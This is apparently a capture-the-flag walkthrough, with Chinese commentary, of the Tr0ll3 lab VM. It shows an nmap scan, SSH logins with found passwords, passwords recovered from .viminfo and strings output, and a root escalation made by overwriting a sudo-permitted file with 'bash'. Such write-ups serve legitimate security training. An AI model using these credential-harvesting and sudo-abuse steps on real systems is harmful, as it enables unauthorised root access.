┌──(root💀kali)-[~/Desktop]
└─# nmap -p1-65535 192.168.32.174
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-18 02:13 EDT
Nmap scan report for 192.168.32.174
Host is up (0.00073s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 00:0C:29:BB:B3:A9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.09 seconds
直接SSH登录
查看当前目录信息
start@Tr0ll3:~$ ls
bluepill redpill
start@Tr0ll3:~$ cd bluepill/
start@Tr0ll3:~/bluepill$ ls
awesome_work
start@Tr0ll3:~/bluepill$ cat awesome_work
http://bfy.tw/ODa
start@Tr0ll3:~/bluepill$ cd ~/redpill/
start@Tr0ll3:~/redpill$ ls
this_will_surely_work
start@Tr0ll3:~/redpill$ cat this_will_surely_work
step2:Password1!
start@Tr0ll3:~/redpill$
wytshadow@Tr0ll3:~$ ls -al
total 40
drwx------ 4 wytshadow wytshadow 4096 Aug 2 2019 .
drwxr-xr-x 10 root root 4096 Jun 19 2015 ..
-rw-r--r-- 1 wytshadow wytshadow 220 Jun 17 2015 .bash_logout
-rw-r--r-- 1 wytshadow wytshadow 3637 Jun 17 2015 .bashrc
drwx------ 2 wytshadow wytshadow 4096 Jun 17 2015 .cache
drwx------ 3 wytshadow wytshadow 4096 Aug 1 2019 .gnupg
-rwsrwxrwx 1 genphlux root 8566 Jun 17 2015 oohfun
-rw-r--r-- 1 wytshadow wytshadow 675 Jun 17 2015 .profile
查看sudo列表
wytshadow@Tr0ll3:~$ sudo -l
[sudo] password for wytshadow:
Matching Defaults entries for wytshadow on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wytshadow may run the following commands on Tr0ll3:
(root) /usr/sbin/service nginx start
genphlux@Tr0ll3:~$ chmod 600 maleus
genphlux@Tr0ll3:~$ ssh -i maleus maleus@127.0.0.1
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:RhN530LgY0ZFQupkWWarB5Fnx9EjijFyl3zOp3scJ30.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-55-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
New release '20.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
maleus@Tr0ll3:~$
我们也会被文件误导dont_even_bother。如果我们运行它，系统会提示我们输入密码。
快速查看文件中strings包含的内容将显示所需的值：
xl8Fpx%6
所以看起来我们仍然没有得到这个用户的任何地方。
该文件.viminfo包含在 Vim 文本编辑器中键入的命令的历史记录。除其他外，该文件还包含以下摘录，其中似乎包括用户密码的输入：
maleus@Tr0ll3:~$ cat .viminfo
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!
# Value of 'encoding' when this file was written
*encoding=utf-8
# hlsearch on (H) or off (h):
~h
# Command Line History (newest to oldest):
:wq
:q
:q!
:!shell
# Search String History (newest to oldest):
# Expression History (newest to oldest):
# Input Line History (newest to oldest):
# Input Line History (newest to oldest):
# Registers:
""1 LINE 0
passwd
"2 LINE 0
B^slc8I$
"3 LINE 0
passswd
# File marks:
# Jumplist (newest first):
# History of marks within files (newest to oldest):
+ 25 62
查看sudo列表
maleus@Tr0ll3:~$ sudo -l
[sudo] password for maleus:
Matching Defaults entries for maleus on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User maleus may run the following commands on Tr0ll3:
(root) /home/maleus/dont_even_bother
maleus@Tr0ll3:~$ echo "bash" > dont_even_bother
maleus@Tr0ll3:~$ sudo ./dont_even_bother
root@Tr0ll3:~# id
uid=0(root) gid=0(root) groups=0(root)
root@Tr0ll3:~# cat /root/flag.txt
You are truly a Jedi!
Twitter Proof:
Pr00fThatTh3L33tHax0rG0tTheFl@g!!
@Maleus21
